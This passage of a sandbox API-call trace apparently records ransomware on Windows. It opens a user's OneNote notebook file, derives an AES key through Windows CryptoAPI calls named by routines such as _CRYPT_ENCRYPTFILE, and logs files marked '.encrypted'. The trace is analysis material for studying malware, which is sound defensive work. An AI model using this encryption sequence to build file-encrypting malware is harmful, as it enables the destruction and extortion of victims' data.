lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.encrypted.ods\r\n", lpUsedDefaultChar=0x0) returned 78 [0025.498] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a310*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4d, lpOverlapped=0x0) returned 1 [0025.498] CloseHandle (hObject=0x188) returned 1 [0025.498] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.498] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.499] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.499] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.500] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.500] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.500] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.501] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchWideChar=83, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 83 [0025.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchWideChar=83, lpMultiByteStr=0xe8f4069b30, cbMultiByte=83, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", lpUsedDefaultChar=0x0) returned 83 [0025.501] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=83, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0025.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=83, lpWideCharStr=0xe8f416dee0, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 83 [0025.504] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.504] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.505] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.506] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.506] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.506] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.506] CloseHandle (hObject=0x188) returned 1 [0025.506] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.506] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.506] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.506] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.507] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.507] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.507] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.508] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.508] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.508] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.509] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.509] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.509] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.509] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.509] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.509] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.509] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.510] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.510] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b360, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.510] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.510] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.510] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.510] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.510] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.510] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.511] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.512] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.512] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.512] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.512] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.512] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.512] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.512] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.512] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.513] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.513] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.513] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook")) returned 0x10 [0025.513] CreateFileW 